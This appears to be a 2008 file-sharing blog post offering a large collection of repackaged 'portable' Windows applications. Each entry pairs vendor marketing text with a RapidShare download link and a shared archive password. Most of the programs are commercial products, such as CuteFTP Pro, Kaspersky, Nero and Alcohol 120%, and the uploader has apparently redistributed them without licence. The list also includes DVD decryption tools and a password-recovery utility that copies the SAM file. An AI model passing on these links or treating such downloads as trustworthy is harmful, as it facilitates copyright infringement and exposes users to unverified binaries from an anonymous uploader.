Hackz For You: January 2008

MeGa CollEctIoN Of NeWest Port@bLE APPlic@Tion$

Saturday, January 19, 2008

A portable application, or portable app for short, is a software program that does not require any kind of formal installation onto a computer's permanent storage device to be executed, and can be stored on a removable storage device such as a CD-ROM, USB flash drive, flash card, or even a floppy disk, enabling it to be used on multiple computers. This does not mean that it can be taken and used on a different operating system, processing platform, or another computer with completely different hardware (i.e., those that are not compatible with the software as stated by its requirements), so it is not to be confused with the concept of software portability, which is the ability for software to be run or compiled with little modification on diverse computing platforms. Ideally it can be configured to read its configuration files from the same storage location as the software program files.

huge collection of Portable appz including:

Aida32
Ashampoo Burning Studio 2007
Audio Player
Avast
BitComet0.74Portable
C Cleaner
Cute FTP Pro 8.0 Portable
CyberShredder
DeepBurner_Portable
DVD Decrypter
DVD Region + CSS Free v5.9
DVD Shrink
EasyCleaner
FirefoxPortable
fusion
GetDataBack 3.03 For Fat
GIMP Portable Picture Editor
Goog.Ear.v4.2.with.Sky
HD CLEAN
HDD Life Pro 2.9.105
hddhealth
IceSword1.18en
LimeWire_4.12.3_Portable
Media Player Classic
micro
Norton Portable
Portable IDM
Portable TuneUp Utilities 2007
PortablePDFReaderPro
PowerDvd_Portable
Recover my Files 3.98 Build 5124 Portable
Spyware Doctor 4.0.0.2618 Portable
WhereIsIt 3.75 Portable
Winamp
WinRAR 3.61 Portable
winxp usb edition
Word portable
7zip 4.42 portable
Alcohol 120% 1.9.5.3823 Portable
Audio Edit Magic 9.21 Portable
AVG Anti Virus 7.5 Portable
Babylon Pro Portable
CloneDVD2 2.8.9.5 Portable
dBpowerAmp 11.5 Portable
Everest Ultimate 2006
FireFox 2.0 Portable
Internet Explorer 7 Portable
IrfanView 3.99 Portable
Kaspersky AntiVirus 6.0.1.41 Portable
LCISOCreator
Msn 7.5 Portable
Multi Password Recovery 0.2.6 Portable
Nero 7.2.0.3b Portable
P. Lightroom 1.1
Paragon Drive BackUp 6.01.041 Portable
Partition Manager 8.0 Pro Portable
Port Proxy SwitcherPro 3.7.3647 Portable
Port_APMS_6.0.4
Super Internet TV 6.8.0.0 Portable
TMPGEnc MPEG Editor 1.0.1.59 Portable
UltraISO Premium Edition 8.6.0 Build 1936 Portable
UninstallTool 1.6.6
VideoLan 0. 8.5r.2 Portable
WinAvi Video Converter 7.7 Portable
Yahoo Messenger 7.5 Portable

Passwrd mansur

C Cleaner:

Over 80 million downloads!!!
CCleaner is a freeware system optimization and privacy tool. It removes unused files from your system - allowing Windows to run faster and freeing up valuable hard disk space. It also cleans traces of your online activities such as your Internet history. But the best part is that it's fast (normally taking less than a second to run) and contains NO Spyware or Adware! smile.gif

Download:

http://rapidshare.com/files/52580187/C_Cleaner_by_mansur.rar

Cute FTP Pro 8.0 Portable:

CuteFTP 8 is the latest product release from GlobalSCAPE, a leading provider of managed file transfer software. The latest version of its excellent FTP client is available in both Home ($39.99) and Professional ($59.99) versions. Home offers value and ease-of-use for the casual user, while Professional maintains that ease-of-use and adds strong security and automation of tasks for business users.

Key new additions to CuteFTP 8 include PGP encryption, podcasting support (dedicated Podcast Manager feature), expanded backup options, in addition to improved search and enhancements to the interface that make it even easier to use than ever before. Really, using CuteFTP Professional 8.0 is a snap - from installing the software, to entering FTP server details and managing folder views.

CuteFTP 8 isn?t a revolution in FTP, but it is a logical evolution of GlobalSCAPE?s client application. The addition of PGP encryption to existing SSL and SSH security makes CuteFTP 8 rock solid for file transfer security and compatibility, and its Task Automation Wizards make configuring automated transfers such as site mirroring, site back-ups and scheduled transfers quick and intuitive.

You have a variety of features which enhance file transfer. The accessible interface allows you to easily update and maintain sophisticated Web sites. You can safeguard transfers of mission critical files with CuteFTP Professional?s security features, as well as speed the transfer of large architectural, graphic, or engineering files with multi-part accelerated downloads. Site caching allows you to minimise bandwidth while you browse, and you can even schedule and script FTP transactions using the autonomous Transfer Engine.

CuteFTP Professional includes the Transfer Engine (TE), and an integrated HTML editor. You can use the Transfer Engine from within CuteFTP, or with any COM enabled scripting or programming language. The HTML editor can create, open, and edit local or remote HTML documents, right in CuteFTP.

CuteFTP 8 meets industry demands for FTP clients thanks to PGP encryption and decryption, which helps ensure compatibility with industry standards and keeps your data secure during transfer and storage. The new PodCast Manager is a neat tool forhandling all of your podcast subscriptions and publishing in one application (it creates podcast RSS feeds, uploads new audio files and automatically downloads new episodes), and the Local Backup quickly and easily backs up your computer to a remote server for added data security.

In the professional view, the main window is divided into four panes: Local pane, Remote pane, Individual Session Log pane, and the bottom pane that has the Queue Window tab and the Log Window tab. You can also choose to use Home View, which is also a four-pane view with the log displayed above the local and remote panes and the queue underneath. This is the classic view found in earlier versions of CuteFTP.

Local pane has two tabs: Local Drives and Site Manager. The Local Drives tab displays the files available for upload on local computer and the Site Manager tab displays the list of your FTP sites. The Remote pane displays the list of files available for download to your local computer, while the Log pane displays the time and date of uploads, downloads, and other events that occur.

The Bottom pane has two tabs: Queue Window and Log Window. The Queue Window displays the status of the uploads and downloads and the Log Window displays the FTP connection information for all remote sites, number of sites you are connected to and the other log details of the session, such as the time, date, and so on.

The Advanced Search feature helps you to find files and folders more easily, by name, size or creation/modification date, whether they are on your local computer or a remote server, and advanced operations after transfer can be set to automatically exit and shutdown your computer, run a virus scan or any number of other tasks upon completing a transfer. Colour-coded tabs make managing multiple transfers to multiple sites is easier, and improved Mode Z compression speeds the transfer of ASP, BMP, CSS, DAT, DOC, EXE, HTM, JS, LOG, PDF, PHP, PL, PPT, PY, SWF, TXT, VBS, XLS, XML and XSL files.

We also really liked the Task Automation Wizards which help to ease configuration of scheduling file transfers, hot drop (folder monitoring), backing up remote servers, mirroring local and remote systems and adding new servers to the Site Manager. There?s now UTF-8 support for the ISO 10646 character standard, and usability improvements have been added to Bookmarks, Log Files, Macros, Time Zone Synchronization, and Quick Connect.

CuteFTP Professional provides easy-to-use yet powerful tools for tackling the complex challenges of data management and helps achieve HIPAA, GLBA and Sarbanes-Oxley compliance. If you?re looking to share large files and business data with confidence, CuteFTP Professional is a decent choice. However, in our tests we noticed that the software used system resources (up to 20% CPU) - even while idle - and almost double that while transferring large numbers of smaller files.

CODE:
http://rapidshare.com/files/52581952/Cute__FTP_Pro_8.0_Portable_by_mansur.rar

GetDataBack 3.03 For Fat:

GetDataBack 3.03 For NTFS & FAT

Hard drives (IDE, SCSI, SATA)
USB drives
Firewire drives
Partitions
Dynamic Disks
Floppy drives
Drive images
Zip/Jaz drive
Compact Flash Cards
Smart Media Cards
Secure Digital Cards
USB Flash Drive
iPod Disks

CODE:
http://rapidshare.com/files/52582079/GetDataBack_3.03_For_Fat_by_mansur.rar

Port Proxy SwitcherPro 3.7.3647 Portable:

Port Proxy Switcher Pro:

Proxy Switcher - change proxy settings on the fly Different internet connections do often require completely different proxy server settings and it's a real pain to change them manually. Proxy Switcher offers full featured connection management solution. This includes flexible proxy server list management, proxy server tester and anonymous surfing capabilities. Proxy Switcher Features Change proxy settings on the fly Automatic proxy server switching for anonymous surfing Works with Internet Explorer, Firefox, Opera and others. Flexible proxy list management Proxy server availability testing Anonymous proxy server list download

CODE:
http://rapidshare.com/files/52584438/Port_Proxy_SwitcherPro_3.7.3647_Portable_by_mansur_.rar

Yahoo Messenger 7.5 Portable:

Yahoo Messenger is a free service that allows you to see when friends come online and send them instant messages. It can also alert you to new e-mail in your Yahoo Mail or Yahoo Personals account, or when you have upcoming events recorded in Yahoo Calendar.

CODE:
http://rapidshare.com/files/52586899/Yahoo_Messenger_7.5_Portable_by_mansur.rar

Audio Edit Magic 9.21 Portable:

Audio Edit Magic is a visual audio editor and recorder software solution, which supports many advanced and powerful operations with audio data.

With Audio Edit Magic you can:
Open, create, and save audio files in any of the supported formats (can also save any portion of a loaded file to disk as a new file);

Display audio data waveform (Zoom Full, Zoom In, Zoom Out, Zoom Vertical);

Play audio files or any portion of the files (Play, Pause, Stop);

Record audio data from a microphone or any other available input device;

Edit audio files visually (Cut, Copy, Delete Selection, Delete Silence, Paste, Paste From File, Mix, Mix From File);

Apply various effects (Amplify, Compressor, Delay, Equalize, Fade In and Fade Out, Flanger, Invert, Normalize, Phaser, Reverb, Reverse, Silence, Shrink, Stretch, Vibrato, etc.);

Apply different filters to any selected portion of audio files;

Supports all major audio file formats such as uncompressed WAV; compressed WAV; MP3, MP2; Ogg; WMA; CDA (Audio CD Tracks); AVI; AIFF; AU; G.721, G.723, G.726; VOX; RAW.

And much more!

CODE:
http://rapidshare.com/files/52587380/Audio_Edit_Magic_9.21_Portable_by_mansur.rar

AVG Anti Virus 7.5 Portable:

AVG Anti-Virus has been protecting computers around the world for more than 12 years!
AVG for workstations provide comprehensive antivirus protection forpersonal computers. The unique combination of detection methods(heueristic analysis, generic detection, scanning and integritychecking) ensures that your computer receives the maximum protectionpossible on multiple levels (Resident Shield, Email Scanner plug-ins,Personal Email Scanner, On-Demand and other tests, etc.). It isavailable as AVG Professional Single Edition for single workstationprotection and AVG SoHo Edition (Small office - Home office) for homeor small offices.

CODE:
http://rapidshare.com/files/52588507/AVG_Anti_Virus_7.5_Portable_by_mansur.rar

Babylon Pro Portable:

Babylon-Pro is the world's leading dictionary and language translation software. Babylon offers you the most intuitive tool for all your translation, information and conversion needs. Just click on any word, phrase or number and a small window instantly appears with the desired results from Babylon's extensive database of language dictionaries, glossaries and conversion tools.

Highlights:

Single Click activation
Just click on any word, phrase or number to get the results that you need.

Babylon Language Dictionaries
Babylon enables you access to 25 professional dictionaries in 13 languages in English, French, German, Spanish, Italian, Portuguese, Japanese, Hebrew, Chinese (Traditional), Chinese (Simplified), Dutch, Russian and Swedish. In addition, Babylon has a database of over 1,200 free glossaries in over 50 languages.

Wikipedia Content
Babylon's single click intuitive technology offers users results from Wikipedia the multilingual web-based encyclopedia in 9 languages with more than 2,000,000 articles.

Writing Aid Tools
In addition to translation and dictionary results, Babylon also offers its users tools for finding just the word that they need and ensures correct conjugation. As some words can be translated in more than one way, Babylon enables users to see each possible translation with its equivalent translation in the user's native language, ensuring that you use the most appropriate word available. Babylon also shows you all possible conjugations to guarantee that you use the correct word in the correct form.

Unit Conversions
Babylon converts currencies, measurements and time, just click on any value in Windows applications to get instant conversions. Babylon automatically identifies the required conversion, based on unit symbols that appear next to the numbers, and will perform the conversion.

'Say-It' add-on feature
Babylon's 'Say-It' feature enables you to hear the correct pronunciation of words, in either a male or female voice.

System Requirements
- U3 smart drive
- Microsoft Windows 2000 / Windows XP

CODE:
http://rapidshare.com/files/52588647/Babylon_Pro_Portable_by_mansur.rar

CloneDVD2 2.8.9.5 Portable:

CloneDVD 2 copies movies in unparalleled picture quality. If it's only the main movie or a complete DVD ? CloneDVD compresses even long footage in brilliant quality and at high speed: A special transcoding technology compresses your choice of DVD titles according to your audio and language selection automatically to a freely adjustable target size.

CODE:
http://rapidshare.com/files/52588778/CloneDVD2_2.8.9.5_Portable_by_mansur.rar

dBpowerAmp 11.5 Portable:

Often called the Swiss army knife of audio, dMC can digitally rip sound from audio CDs to a multitude of formats. Convert from one format to another while preserving ID tags. Nearly every audio type is supported, including MP3, MP4, Windows Media Audio (WMA), OGG Vorbis, AAC, Monkey's Audio, and FLAC (with optional installs from Codec Central).

CODE:
http://rapidshare.com/files/52589025/dBpowerAmp_11.5_Portable_by_mansur.rar

Everest Ultimate 2006:

EVEREST Ultimate Edition is an industry leading system diagnostics and benchmarking solution for enthusiasts PC users, based on the award-winning EVEREST Technology. During system optimizations and tweaking it provides essential system and overclock information, advanced hardware monitoring and diagnostics capabilities to check the effects of the applied settings. CPU, FPU and memory benchmarks are available to measure the actual system performance and compare it to previous states or other systems. Furthermore, complete software, operating system and security information makes EVEREST Ultimate Edition a comprehensive system diagnostics tool that offers a total of 100 pages of information about your PC.

CODE:
http://rapidshare.com/files/52589435/Everest_Ultimate_2006by_mansur.rar

FireFox2.0 Portable:

Mozilla Firefox comes with all the latest conveniences and tools. Favorites, plug-ins, and Internet Explorer settings are automatically copied to Mozilla Firefox so that you can set to work immediately.

CODE:
http://rapidshare.com/files/52589708/FireFox_2.0_Portable_by_mansur.rar

Internet Explorer 7 Portable:

Internet Explorer 7 has been designed to make everyday tasks easier, provide
dynamic security protection and improve the development platform and manageability.
End user improvements include a streamlined interface, tabbed browsing, printing
advances, improved search functionality, instant feeds (RSS), dynamic security protection,
and more.

CODE:
http://rapidshare.com/files/52590300/Internet_Explorer_7_Portable_by_mansur.rar

IrfanView 3.99 Portable:

IrfanView is a fast and simple image viewer and editor that supports all major graphic formats, including BMP, DIB, JPEG, GIF, animated GIF, PNG, PCX, multipage TIFF, TGA, and more.
It's one of the best image viewer available.

IrfanView features
Many supported file formats

Multi language support

Thumbnail/preview option

Slideshow (save slideshow as EXE/SCR or burn it to CD)

Show EXIF/IPTC/Comment text in Slideshow/Fullscreen etc.

Support for Adobe Photoshop Filters

Fast directory view (moving through directory)

Batch conversion (with image processing)

Multipage TIF editing

Email option

Multimedia player

Print option

Change color depth

Scan (batch scan) support

Cut/crop

IPTC editing

Effects (Sharpen, Blur, Adobe 8BF, Filter Factory, Filters Unlimited, etc.)

Capturing

Extract icons from EXE/DLL/ICLs

Lossless JPG rotation

Many hotkeys

Many command line options

Many PlugIns

Only one EXE-File, no DLLs, no Shareware messages like "I Agree" or "Evaluation expired"

No registry changes without user action/permission!

and many more

CODE:
http://rapidshare.com/files/52590652/IrfanView_3.99_Portable_by_mansur.rar

Kaspersky AntiVirus 6.0.1.41 Portable:

Kaspersky Anti-Virus Personal delivers the user-friendly security your computer needs. PCs connected to the Internet are constantly at risk of attack by viruses, Trojans, Internet worms and other malware. Anti-Virus Personal monitors all virus and spyware entry points leaving you with a clean and safe machine. Round-the-clock technical support Easy to install and use

Features:

Installs easily with a clear interface and automated functions making it the right choice for even the most inexperienced computer users.
Scans email traffic (POP3, IMAP and NNTP for incoming mail, SMTP for outgoing) for all mail programs.
Scans all HTTP Internet traffic in real time, and offers rapid scan of all individual files, catalogs and disks.
Controls changes to file system to prevent malicious programs from undermining applications.
Monitors program activity and warns of suspicious or hidden processes (rootkits) or unauthorized changes.
Controls status of system registry and alerts of suspicious objects or attempts to create hidden registry keys.
Records all registry and file system changes to rapidly restore your computer after any malicious attacks.
Automatically balances scan speeds with increased user activity; and offers accelerated scan settings.
Blocks dangerous macro commands from being executed.
Delivers the smallest updates (~ 50 Kb) for virtually instant updating.
Supports WiFi Internet access for antivirus updating.
Conserves batteries with economy mode.
Supports Intel Centrino processors and Hyper-Threading technology.

CODE:
http://rapidshare.com/files/52591319/Kaspersky_AntiVirus_6.0.1.41_Portable_by_mansur.rar

Msn 7.5 Portable:

Chat online, in real time, with friends, family, and colleagues. It's faster than e-mail, more discreet than a phone call, and best of all ? it's free! MSN Messenger is more than just text, it?s a great way to collaborate with co-workers or touch base with family and friends. You can even send an instant message to a contact?s mobile phone. Customization features help you personalize your chats and make your connections even more meaningful.

CODE:
http://rapidshare.com/files/52591648/Msn_7.5_Portable_by_mansur.rar

Multi Password Recovery 0.2.6 Portable:

Multi Password Recovery (MPR) - multifunctional password decryption and auditing solution for Win95/98/W2K/XP/2K3. MPR instantly finds and recovers passwords from more than 60 popular applications (FTP, E-mail clients, IM, Browsers and so on). It also shows passwords hidden under asterisks, copies SAM file, can generate new passwords. Under W2K/XP/2K3 MPR is able to process blocked for reading files.

CODE:
http://rapidshare.com/files/52591691/Multi_Password_Recovery_0.2.6_Portable_by_mansur.rar

Nero 7.2.0.3 Portable:

Along with Nero?s award-winning CD and DVD burning capabilities in Nero 7 Premium Reloaded, you can now enjoy the benefits of Blu-ray and HD DVD disc data recording technology, which are fast becoming the industry standard in high density digital media compression and recording. Convert your files to your preferred format and store up to 58 normal-sized CDs on one high density disc with any of Nero?s five burning and back-up applications.

CODE:
http://rapidshare.com/files/52592277/Nero_7.2.0.3b_Portable_by_mansur.rar

Norton Portable:

This include
1.Norton Express Cleanup
2.Norton WinDoctor
3.Norton Ghost
4.Norton Ghost Explorer
5.Norton Ghost Support Tools
6.Norton PQ Boot
7.Norton Partition Table Editor
8.Norton Partition Info

CODE:
http://rapidshare.com/files/52592868/Norton_Portable_by_mansur.rar

Paragon Drive BackUp:

Drive Backup creates a backup image of entire hard disk, including operating system backup with all user preferences and settings, applications and data files. Paragon's Hot Backup Technology enables to create hard drive images in real time without Windows reboot or any application's interruption. You will be able to completely restore operating system with all installed and configured applications, valuable documents and files with no reinstallations required. You can also restore separate files form hard disk's backup image.

The up-to-date hard disk backup image created with Paragon Drive Backup is the best insurance you may have in any disaster case.

CODE:
http://rapidshare.com/files/52592949/Paragon_Drive_BackUp_6.01.041_Portable_by_mansur.rar

Partition Manager 8.0 Pro(2005) Portable:

7tools Partition Manager 2005 - hard disk storage maintenance. All operations you may need at home to perform regular maintenance on your own. Partition new hard disks from scratch or upgrade old ones. Prepare hard disks for any operating system and even install several systems. Reconfigure partitions, repartition hard disks on the fly, and improve storage performance. Use the bootable recovery CD to access all the information unbootable system.
7tools Partition Manager 2005 offers an extended range of functions to make your data management easier. With its help you can:

- easily deploy a new hard drive and copy your data and partitions
- install and use multiple operation systems, share files between them
- organize better data storage for multi-user computers
- recover your computer after a system crash and secure important data by moving them to a separate partition

... and perform all other kinds of partitioning and repartitioning operations on your disk

Several major components are included with this outstanding product:

* Partition Manager
* Bootmanager
* Recovery CD with DOS and Linux versions of Partition Manager
* DOS drivers on Recovery CD to access NTFS and Ext2fs Partitions
* Linux driver on Recovery CD to access NTFS Partitions
* Built-in ISO-Burner (use it to create your own recovery CD )

CODE:
http://rapidshare.com/files/52593674/Partition_Manager_8.0_Pro_Portable_by_mansur.rar

Port APMS 6.0.4:

CODE:
http://rapidshare.com/files/52594570/Port_APMS_6.0.4_by_mansur.rar
File-Size: 18.76 MB

Super Internet TV 6.8.0.0 Portable:

QUOTE:
Super Internet TV allows you to watch 1000+ live television channels and listen to 1300+ online radio stations from 100+ countries. There is no need for a TV Tuner card because all the channels are streamed through your Internet connection. For most TV and Radio channels a modem speed of 56Kb/s is required, for the broadband TV stations you need 300 Kb/s. This software comes with automatic TV station updates so it will never be out of date. If you are interested in learning languages or alternative programming, this is a good choice for you!

Features:
- More than 1000 FREE TV stations. (see TV channel list)
- More than 1300 FREE radio stations. (see radio channel list)
- More than 200 live webcams. (see webcam list)
- NO TV tuner card required!
- Automatic channel list updates.
- Supports high bandwidth stations.
- Supports thousands of skins(visual styles *.msstyles)
- Resizable screen,including full-screen mode
- very easy interface

Requirements: RealPlayer and Windows Media Player required. Super Internet TV uses Windows Media Player's decoding system to present the television and radio signals. If you want to watch more channels which use RealVideo format, you also need RealPlayer installed.

CODE:
http://rapidshare.com/files/52594629/Super_Internet_TV_6.8.0.0_Portable_by_mansur_.rar

TMPGEnc MPEG Editor 1.0.1.59 Portable:

TMPGEnc MPEG Editor is a greatly improved version of MPEG Tool (included in TMPGEnc Plus 2.5). It has been reworked into a full-featured software offering fast, precise and easy cut-editing. This is possible thanks to the Technical Wizard interface and the Smart Rendering function. Since it is compatible with DVD-VR(VRO), you can load DVD-videos you have made in the past, edit and convert them to MPEGs.
This sofware is recommended for people who need to quickly cut-edit MPEGs at frame level!

CODE:
http://rapidshare.com/files/52594847/TMPGEnc_MPEG_Editor_1.0.1.59_Portable_by_mansur.rar

UltraISO Premium Edition 8.6.0 Build 1936 Portable:

Along with the large capacity hard disk popularity, people were already used to copying compact discs to CD/DVD image files, generally used is the famous ISO 9660 international standards format, therefore CD/DVD image files are called ISO files. Because the ISO file retained complete data information of the compact disc (including compact disc boot information), you were allowed the convenience to use commonly used CD/DVD burning software (for example Nero-Burning ROM ) to record the disc with your CD-R/RW or DVD-R/RW over and over forever, it can also be used directly through Virtual CD/DVD-ROM drive software (for example Daemon-Tools ) .

UltraISO is an ISO CD/DVD image file creating/editing/converting tool and a bootable CD/DVD maker , it can directly edit the CD/DVD image file and extract files and folders from it, as well as directly make ISO files from your CD/DVD-ROM or hard disk. At the same time, you can maintain the ISO bootable information, thus creating your own bootable CD/DVDs. You now have the power to make and edit your own ISO files, and then burn them to CD/DVD for your own needs.

UltraISO is in sole possession of the intellectualized ISO document format analyzer, it can process at the present time almost all types of image files, including ISO and BIN, it may even support new image files which are yet to be created. UltraISO can open these image files, directly extract files and folders, edit it and convert other image files to the standard ISO format.

UltraISO uses the double window unification user contact interface, you have the choice to only use the quick buttons and/or the mouse Drag & Drops, you can handle any CD/DVD image file easily.

CODE:
http://rapidshare.com/files/52594890/UltraISO_Premium_Edition_8.6.0_Build_1936_Portable_by_mansur.rar

UninstallTool 1.6.6:

Ultra small and fast utility that helps you to uninstall various software. It can be used instead of the standart unconvenient and heavy "Add and Remove Programs". The program has lots of features and options missing in Microsoft's ? applet.

Features:
* Great speed and small size, great quality
* Multilingual, cool and simple interface
* Allows you to display hidden installed programs
* Allows you to find fast the desired program while typing known letters
* Enables to delete programs if their uninstaller fails
* Navigate to selected program's registry entry, installation folder and it's web site
* Saving (exporting to HTML) current installed software list
* Running "Windows Components" applet
* ... a lot of more

Currently supported languages: Belarussian, Brazilian, Bulgarian, Chinese, Dutch, English, French, German, Italian, Japanese, Korean, Polish, Russian, Slovak, Spanish, Ukrainian

Uninstall Tool changelog version 1.6.5:

Added crash report feature
Added FAQ to the help file
added some languages
serious fix: data in registry stayed when program has been removed
some programs were not displayed - fixed
minor fixes

CODE:
http://rapidshare.com/files/52594917/UninstallTool_1.6.6_by_mansur.rar

VideoLan 0.8.5r.2Portable:

and DivX files, DVDs, digital satellite channels, digital terrestial television channels and live videos on a high-bandwidth IPv4 or IPv6 network in unicast or multicast under many OSes. VideoLAN also features a cross-platform multimedia player, VLC media player, which can be used to read the stream from the network or display video read locally on the computer under all GNU/Linux flavours, all BSD flavours, Windows, Mac OS X, BeOS, Solaris, QNX, Familiar Linux.

CODE:
http://rapidshare.com/files/52595316/VideoLan_0._8.5r.2_Portable_by_mansur.rar

WinAvi Video Converter7.7 Portable:

Have you ever been limited to the videotape format? Especially when you really wanted to share films with your family and friends.
WinAVI Video Converter can help you solve your problems!
It is a software program for converting video formats at fast speeds and high quality.

WinAVI Video Converter supports almost all formats of video including :
AVI, MPEG1/2/4, VCD/SVCD/DVD,
DivX, XVid, ASF, WMV, RM,
QuickTime MOV, and Flash SWF.

Features:

WinAVI Video Converter is software for video conversion. By using our product, users are released from the limitations and difficulties of video formats. It can support almost all formats of video including AVI, MPEG1/2/4, VCD/SVCD/DVD, DivX, XVid, ASF, WMV, RM, QuickTime MOV, Flash SWF. Also, it allows you to burn to VCD/SVCD/DVD. A powerful AV compress engine can complete a whole AVI movie conversion and burn it to DVD just in 1 hour. You can enjoy the film with your home & PC DVD Player.

* AVI to DVD
* AVI to MPEG
* AVI to VCD
* AVI to MPG
* Flash SWF conversion
* It can convert all formats to MPEG1/2, VCD, SVCD, and DVD and burn to VCD, SVCD, or DVD disc.
* It can convert all video formats to AVI/WMV/RM/ASF/Divx/Xvid
* QuickTime MOV conversion.
* Real DVD Navigator encoder included.
* DirectAC3 technology supports AC3 5.1, which is state of the art technology. It is up to 20% faster with AVI files including AC3 audio.
* Real Dolby AC3 audio encoder included.
* Burning VCD/SVCD/DVD.
* Stunning video and audio quality.
* User-friendly interface that is easy to use.
* Has the option to preview the video in real-time.
* Has the option to automatically shutdown your computer when the conversion has been completed.

CODE:
http://rapidshare.com/files/52595478/WinAvi_Video_Converter_7.7_Portable_by_mansur.rar

7zip 4.42 Portable:

7-Zip is an open source file archiver with the high compression ratio predominantly for the Microsoft Windows operating system. It operates either as a command line program or with a graphical user interface. It also features integration with the Windows shell environment. 7-Zip is free software, developed by Igor Pavlov and distributed under the GNU LGPL license.

High compression ratio in new 7z format with LZMA compression
- 7-Zip is free software distributed under the GNU LGPL
- Supported formats:
Packing / unpacking: 7z, ZIP, GZIP, BZIP2 and TAR
Unpacking only: RAR, CAB, ISO, ARJ, LZH, CHM, Z, CPIO, RPM, DEB and NSIS
- For ZIP and GZIP formats 7-Zip provides compression ratio that is 2-10 % better than ratio provided by PKZip and WinZip
- Self-extracting capability for 7z format
- Integration with Windows Shell
- Powerful File Manager
- Powerful command line version
- Plugin for FAR Manager
- Localizations for 65 languages

CODE:
http://rapidshare.com/files/52595546/7zip_4.42_Portable_by_mansur.rar
File-Size: 1.07 MB

Alcohol 120% 1.9.5.3823 Portable:

Alcohol 120% is CD/DVD emulation and recording software that allows users to copy discs. Store your most used or important CDs as images on your computer and run them at 200x speed from up to 31 virtual CD or DVD drives. Alcohol is compatible with more than 99% of drives available. It supports the latest image file types including - MDS, CCD, BIN, CUE, ISO, CDI, BWT, BWI, BWS, BWA and many more.

*** Alcohol 120% enables you to make a duplicate back-up to recordable media of nearly all your expensive Game/Software/DVD titles, and/or an image that can be mounted and run from any one of Alcohol's virtual drives.
*** No other software available enables you to create up to a staggering 31 virtual drives, allowing you to run your game images at over 200x faster than from a conventional CD-ROM. Alcohol 120% is a powerful utility that uses a unique combination of options to ensure a perfect back-up every time.
*** All you need is a PC combined with a CD or a DVD burner. No more replacing your expensive original discs due to loss, theft, scratches, or other media imperfections. Your duplicate works just like the original; your entire collection can be archived and your investment protected.
*** In the home: Have you had experiences with the common conditions of CDs/DVDs? They can easily get scratched, damaged, broken, lost or even stolen. Alcohol provides you with peace of mind and protects your investment.
*** Your original games/program discs can be safely stored away. Alcohol-created images mean that you always have your expensive media stored safely on your hard drive for instant retrieval at the click of a button. No more searching for the correct game disc or software application install disc, everything is at your fingertips.
*** You can now, for instance, simultaneously play your favourite game and bring up your route planner without having to eject and reload any physical discs, The 31 virtual drive ability of Alcohol means you can have the equivalent of a staggering 31 CD-ROM drives in your Home PC, all instantly accessible. You can simply and quickly run your Disc image at around 200 times faster than that of a conventional CD-ROM drive. If you need a program or CD it is immediately there - always ready to use!
*** At the office: Program discs and many other applications generally require the original disc to be in the computer's CD-ROM drive. This restricts the amount of people in your office who can have access to the same software at the same time without the cost of additional discs. Alcohol's virtual drives resolve that problem for you. No more hunting around the offices for that elusive disc you need to run your application, everything you require is just a click away.
*** With Alcohol you can store your CD images on your office server, your colleagues and employees at their respective networked workstations will never need to come asking for a CD again, they will not even require an expensive CD-ROM drive installed in their workstation PC! A simple click is all that is required for them to have full access to any disc image they require for their day to day work. Your valuable CDs can be safely kept under lock and key.
*** Does your company have a promotional CD for it's customers? Original pressed discs are expensive, using the Alcohol 120% writing engine you can copy the original to inexpensive blank discs for distribution to your customers and keep your overheads down.
*** Alcohol software offers unrivalled usage to people from all walks of life regardless of if you are a hardened game player, busy school teacher, salesman, IT manager, student etc. Alcohol has a niche in all your everyday computer needs. Let Alcohol help you to help yourselves and give you the peace of mind you deserve when it comes to expensive PC media.
CODE:
http://rapidshare.com/files/52595622/Alcohol_120__1.9.5.3823_Portable_by_mansur.rar

WinRAR 3.61 Portable:

# Using WinRAR puts you ahead of the crowd when it comes to compression by consistently making smaller archives than the competition, saving disk space and transmission costs.
# WinRAR provides complete support for RAR and ZIP archives and is able to unpack CAB, ARJ, LZH, TAR, GZ, ACE, UUE, BZ2, JAR, ISO, 7Z, Z archives.
# WinRAR offers a graphic interactive interface utilizing mouse and menus as well as the command line interface.
# When you purchase WinRAR license you are buying a license to the complete technology, no need to purchase add-ons to create self-extracting files, it's all included. One price, one payment, once.
# You also receive the benefit of a life-time use of the WinRAR archiver. No upgrade fee to pay. When a new release is made, simply download and install, your license is valid for life.
# WinRAR is easier to use than many other archivers with the inclusion of a special "Wizard" mode which allows instant access to the basic archiving functions through a simple question and answer procedure. This avoids confusion in the early stages of use.
# WinRAR offers you the benefit of industry strength archive encryption using AES (Advanced Encryption Standard) with a key of 128 bits.
# WinRAR supports files and archives up to 8,589 billion gigabytes in size. The number of archived files is, for all practical purposes, unlimited.
# WinRAR offers the ability to create selfextracting and multivolume archives.
# Recovery record and recovery volumes allow to reconstruct even physically damaged archives.
# WinRAR features are constantly being developed to keep WinRAR ahead of the pack

CODE:
http://rapidshare.com/files/52595694/WinRAR_3.61_Portable_by_mansur.rar

WhereIsIt 3.75 Portable:

Where Is It? is an application written for 32-bit Windows operating systems, designed to help you maintain and organize a catalog of your computer media collection, including CD-ROMs, audio CDs, diskettes, removable drives, hard drives, network drives, DVDs, or any other media that Windows can access as a drive.

The most basic goal for Where Is It? is to provide access to the contents of any media you have from a cataloged database, even if the media itself is not available on the system - you can browse lists of files and folders, search by any criteria, use descriptions, thumbnails, categories, flags, etc.

Where Is It? can handle lots of them, too, a couple hundreds or thousands disks in a catalog is nothing unusual, yet catalogs remain reasonably small, single-filed and easy to transfer or send to other users. You can also create more than one catalog, and at any time open and work with as many catalogs at once as needed. WhereIsIt is easy to use for both beginners and advanced users. It features a familiar and well thought-out, Explorer-like user interface, combined with strong searching and reporting capabilities, multi-language support, automated description and thumbnails importing through extendable plugins from more than 70 different sources, and much more.

New in version 3.75:

* Changes in this release are concentrating on updating program's visual appearance and usability of user interface. Most of features are a small glimpse into custom developed client versions.
* Settings dialog has been reorganized, options are easier to access and browse. Did away with tabs altogether, sections are now available through a more modern, WinXP-style taskbar control. Settings dialog is now also fully resizable and will remember its size and position.
* Standard command buttons in dialogs like "OK" and "Cancel" are visually separated from the rest of dialog's contents throughout the program. This helps reduce dialog clutter a little bit.
* Toolbars and non-themed buttons have (optionally) a more modern, shaded three-dimensional appearance on hi-color enabled displays.
* Most status bars now support themes, a few exceptions were left out on purpose as they fit dialogs better when displayed the old way.
* Several dialogs that were previously fixed in size are now resizable.
* A few other adjustments mostly dealing with user interface.
CODE:
http://rapidshare.com/files/52595866/WhereIsIt_3.75_Portable_by_mansur.rar

Spyware Doctor:

Spyware Doctor is an advanced adware and spyware removal program that will detect and clean thousands of potential spyware, ad ware, keyloggers, trojans, spy ware cookies, trackware, spybots and other malware from your computer.

